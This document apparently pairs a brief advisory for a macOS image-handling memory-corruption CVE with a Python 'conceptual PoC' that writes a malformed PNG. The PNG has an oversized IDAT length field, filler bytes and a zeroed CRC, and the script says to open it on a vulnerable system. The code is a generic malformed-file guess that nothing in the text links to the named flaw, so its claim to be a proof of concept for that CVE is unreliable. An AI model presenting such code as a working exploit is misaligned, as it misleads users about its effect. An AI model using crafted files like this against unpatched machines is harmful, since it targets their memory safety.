The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.6. Processing a maliciously crafted image may corrupt process memory.
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2025-43219 Memory Corruption
# This script generates a potentially malformed image file to test memory handling.
# Usage: Run the script and open the generated file on a vulnerable macOS version.
import struct
def generate_malicious_image(file_path):
# PNG file signature
png_signature = b'\x89PNG\r\n\x1a\n'
# Create a chunk with a malicious length to trigger overflow/corruption
# Using a max length value often causes integer overflows or allocation errors
chunk_length = struct.pack('>I', 0xFFFFFFFF)
chunk_type = b'IDAT' # Image Data chunk
# Minimal payload
chunk_data = b'A' * 100
# Calculate CRC (simplified, usually requires zlib.crc32)
# A malformed CRC might trigger parsing errors, but the memory overflow
# is more likely caused by the length field.
crc = b'\x00\x00\x00\x00'
chunk = chunk_length + chunk_type + chunk_data + crc
with open(file_path, 'wb') as f:
f.write(png_signature + chunk)
print(f"[+] Malicious image generated at: {file_path}")
print("[+] Open this file to test for the vulnerability.")
if __name__ == "__main__":
generate_malicious_image("cve_2025_43219_test.png")